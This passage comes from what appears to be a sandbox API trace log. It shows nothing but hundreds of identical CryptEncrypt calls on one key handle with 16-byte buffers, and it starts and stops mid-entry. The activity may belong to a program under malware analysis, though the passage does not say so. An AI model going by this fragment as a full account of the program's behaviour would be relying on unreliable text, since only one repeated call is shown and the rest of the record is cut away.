| out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.100] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.101] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.102] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.103] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, 